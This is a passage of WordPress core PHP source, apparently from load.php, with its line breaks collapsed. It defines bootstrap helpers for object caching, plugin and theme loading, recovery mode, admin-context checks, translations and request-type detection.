`$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Start the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. if ( $first_init ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) ); } $first_init = false; } /** * Redirect to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_multisite() ) { if ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } } elseif ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } } /** * Retrieve an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( substr( $plugin, -4 ) == '.php' ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieve an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] $plugin_file Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Is WordPress in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect AJAX actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected AJAX actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an AJAX action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current AJAX action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected AJAX actions. * * This filter is only fired when doing AJAX and the AJAX request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with AJAX actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Set internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); /* * Revert the type change to string for two indexes which should retain their proper type. * Among other things, this preserves compatibility of WP with PHPUnit Code Coverage generation. */ if ( isset( $_SERVER['REQUEST_TIME'] ) ) { $_SERVER['REQUEST_TIME'] = (int) $_SERVER['REQUEST_TIME']; } if ( isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ) { $_SERVER['REQUEST_TIME_FLOAT'] = (float) $_SERVER['REQUEST_TIME_FLOAT']; } // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Copy an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $object The object to clone. * @return object The cloned object. */ function wp_clone( $object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $object ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress blog administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * If Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieve the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempt an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @staticvar bool $loaded */ function wp_load_translations_early() { global $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' == WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo' ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Check or set whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @staticvar bool $installing * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' == $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( false !== strpos( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( false !== strpos( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( false !== strpos( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @staticvar array $ini_all * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Check whether variable is a WordPress Error. * * Returns true if $thing is an object of the WP_Error class. * * @since 2.1.0 * * @param mixed $thing Check if unknown variable is a WP_Error object. * @return bool True, if WP_Error. False, if not WP_Error. */ function is_wp_error( $thing ) { return ( $thing instanceof WP_Error ); } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Start scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape nonce check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalize scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) { return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; }